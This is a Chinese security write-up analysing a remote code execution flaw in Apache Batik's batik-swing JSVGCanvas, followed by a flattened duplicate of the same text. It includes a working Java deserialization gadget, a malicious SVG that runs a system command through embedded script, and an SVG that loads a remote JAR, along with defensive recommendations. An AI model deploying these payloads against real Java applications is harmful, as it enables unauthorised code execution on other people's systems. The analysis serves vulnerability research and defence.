batik-swing 组件造成的 rce 漏洞
字数 1139 2025-08-22 12:23:19

Apache Batik Swing组件远程代码执行漏洞分析

漏洞概述

Apache Batik是一个用于处理SVG(可缩放矢量图形)格式文件的Java工具包。其中batik-swing组件包含的JSVGCanvas类存在远程代码执行漏洞,攻击者可以通过构造特殊的SVG文件或HTML对象标签,诱使目标系统加载恶意代码并执行任意命令。

漏洞原理

该漏洞的核心在于JSVGCanvas类能够加载并执行远程SVG文件中的JavaScript代码,而SVG文件支持内嵌ECMAScript脚本,这些脚本可以通过Java的反射机制调用Java API,最终导致任意代码执行。

漏洞利用方式

方式一:SVG-JS触发

利用代码

package me.n1ar4.exploit;

import javax.swing.*;
import java.lang.reflect.Field;

public class JSRCE {
    public Object getObject() throws Exception {
        JLabel label = new JLabel();
        label.putClientProperty("html.disable", false);
        
        Field textField = label.getClass().getDeclaredField("text");
        textField.setAccessible(true);
        textField.set(label,"<html><object " +
                "classid=\"org.apache.batik.swing.JSVGCanvas\">" +
                "<param name=\"URI\" value=\"http://localhost:8886/2.xml\"></object></html>");
        return label;
    }
    
    public static void main(String[] args) throws Exception{
        Object t = new JSRCE().getObject();
        byte[] d = SerUtil.serialize(t);
        SerUtil.deserialize(d);
    }
}

恶意SVG文件内容

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
    <circle cx="50" cy="50" r="50" fill="green" onload="showFrame()"/>
    <script type="text/ecmascript">
        importPackage(Packages.java.lang);
        function showFrame() {
            Runtime.getRuntime().exec("calc.exe");
        }
    </script>
</svg>

方式二:SVG-JAR触发

利用代码

与方式一相同,只是引用的SVG文件不同。

恶意SVG文件内容

<svg xmlns="http://www.w3.org/2000/svg" 
     xmlns:xlink="http://www.w3.org/1999/xlink" 
     version="1.0">
    <script type="application/java-archive" 
            xlink:href="http://localhost:8887/exploit.jar"/>
    <text>Static text ...</text>
</svg>

漏洞分析

触发流程

  1. 攻击者构造一个JLabel对象,设置其text属性为包含恶意object标签的HTML
  2. object标签指定classid为org.apache.batik.swing.JSVGCanvas
  3. 通过param设置URI参数指向恶意SVG文件
  4. 当目标系统解析该HTML时,会加载并执行SVG文件中的恶意代码

关键点分析

  1. HTML OBJECT标签解析

    • Java Swing的HTML解析器支持OBJECT标签
    • classid属性指定要实例化的Java类
    • param标签用于设置类实例的参数
  2. JSVGCanvas类

    • 必须有无参构造函数
    • 必须继承Component接口
    • 提供setURI方法用于加载远程SVG
  3. SVG脚本执行

    • SVG支持内嵌ECMAScript脚本
    • 脚本可以通过Java反射调用Java API
    • 通过importPackage可以导入Java包
    • 能够直接调用Runtime.getRuntime().exec()
  4. JAR加载

    • SVG支持通过application/java-archive类型加载远程JAR
    • 加载的JAR会被执行

防御措施

  1. 升级到最新版本的Apache Batik
  2. 禁用HTML中的OBJECT标签解析
  3. 限制SVG文件中的脚本执行
  4. 对加载的远程资源进行严格校验
  5. 使用安全策略限制Java的反射和外部命令执行能力

参考链接

总结

该漏洞展示了Java Swing组件与SVG解析器结合使用时可能带来的安全风险。攻击者可以通过精心构造的HTML和SVG文件,利用Java的反射机制和脚本执行能力实现远程代码执行。开发人员在使用相关组件时应特别注意安全配置,及时更新依赖库,并对用户输入进行严格过滤。

Apache Batik Swing组件远程代码执行漏洞分析 漏洞概述 Apache Batik是一个用于处理SVG(可缩放矢量图形)格式文件的Java工具包。其中 batik-swing 组件包含的 JSVGCanvas 类存在远程代码执行漏洞,攻击者可以通过构造特殊的SVG文件或HTML对象标签,诱使目标系统加载恶意代码并执行任意命令。 漏洞原理 该漏洞的核心在于 JSVGCanvas 类能够加载并执行远程SVG文件中的JavaScript代码,而SVG文件支持内嵌ECMAScript脚本,这些脚本可以通过Java的反射机制调用Java API,最终导致任意代码执行。 漏洞利用方式 方式一:SVG-JS触发 利用代码 恶意SVG文件内容 方式二:SVG-JAR触发 利用代码 与方式一相同,只是引用的SVG文件不同。 恶意SVG文件内容 漏洞分析 触发流程 攻击者构造一个JLabel对象,设置其text属性为包含恶意object标签的HTML object标签指定classid为 org.apache.batik.swing.JSVGCanvas 通过param设置URI参数指向恶意SVG文件 当目标系统解析该HTML时,会加载并执行SVG文件中的恶意代码 关键点分析 HTML OBJECT标签解析 : Java Swing的HTML解析器支持OBJECT标签 classid属性指定要实例化的Java类 param标签用于设置类实例的参数 JSVGCanvas类 : 必须有无参构造函数 必须继承Component接口 提供setURI方法用于加载远程SVG SVG脚本执行 : SVG支持内嵌ECMAScript脚本 脚本可以通过Java反射调用Java API 通过 importPackage 可以导入Java包 能够直接调用 Runtime.getRuntime().exec() JAR加载 : SVG支持通过 application/java-archive 类型加载远程JAR 加载的JAR会被执行 防御措施 升级到最新版本的Apache Batik 禁用HTML中的OBJECT标签解析 限制SVG文件中的脚本执行 对加载的远程资源进行严格校验 使用安全策略限制Java的反射和外部命令执行能力 参考链接 Apache Batik官方网站 GitHub PoC代码 总结 该漏洞展示了Java Swing组件与SVG解析器结合使用时可能带来的安全风险。攻击者可以通过精心构造的HTML和SVG文件,利用Java的反射机制和脚本执行能力实现远程代码执行。开发人员在使用相关组件时应特别注意安全配置,及时更新依赖库,并对用户输入进行严格过滤。